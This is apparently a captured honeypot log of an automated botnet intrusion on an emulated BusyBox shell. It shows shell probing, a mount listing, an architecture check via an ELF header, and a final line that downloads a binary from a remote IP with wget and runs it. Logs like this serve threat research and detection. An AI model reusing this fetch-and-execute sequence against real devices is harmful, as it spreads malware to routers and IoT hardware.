# enable
enable: command not found
 # system
system: command not found
 # shell
shell: command not found
 # sh
Busybox built-in shell (ash)
 # cat /proc/mounts; /bin/busybox SPWFT
/dev/root /rom squashfs ro,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,noatime 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,noatime 0 0
tmpfs /tmp tmpfs rw,nosuid,nodev,noatime 0 0
/dev/mtdblock10 /overlay jffs2 rw,noatime 0 0
overlayfs:/overlay / overlay rw,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work 0 0
tmpfs /dev tmpfs rw,nosuid,relatime,size=512k,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,mode=600 0 0
debugfs /sys/kernel/debug debugfs rw,noatime 0 0
SPWFT: applet not found
 # cd /tmp; cat .s || cp /bin/echo .s; /bin/busybox SPWFT
cat: .s: No such file or directory
SPWFT: applet not found
 # tftp; wget; /bin/busybox SPWFT
tftp: command not found
BusyBox v1.22.1 (Ubuntu 1:1.22.0-19ubuntu2) multi-call binary.

Usage: wget [-c|--continue] [-s|--spider] [-q|--quiet] [-O|--output-document FILE]
	[--header 'header: value'] [-Y|--proxy on/off] [-P DIR]
	[-U|--user-agent AGENT] URL...

Retrieve files via HTTP or FTP

	-s	Spider mode - only check file existence
	-c	Continue retrieval of aborted transfer
	-q	Quiet
	-P DIR	Save to DIR (default .)
	-O FILE	Save to FILE ('-' for stdout)
	-U STR	Use STR for User-Agent header
	-Y	Use proxy ('on' or 'off')

SPWFT: applet not found
 # dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s
ELF


(
h4X^
4 (0+0 records in
0+0 records out
0 bytes copied, 0 s, 0,0 kB/s
do: command not found
done: command not found
 # /bin/busybox SPWFT
SPWFT: applet not found
 # rm .s; wget http://177.68.189.3:37014/.i; chmod 777 .i; ./.i; exit
--2019-08-24 14:07:53--  http://177.68.189.3:37014/.i
Resolving 177.68.189.3 (177.68.189.3)... 127.0.0.1
Connecting to  177.68.189.3 (177.68.189.3)|127.0.0.1|:37014...exit: command not found
 # q
q: command not found
 #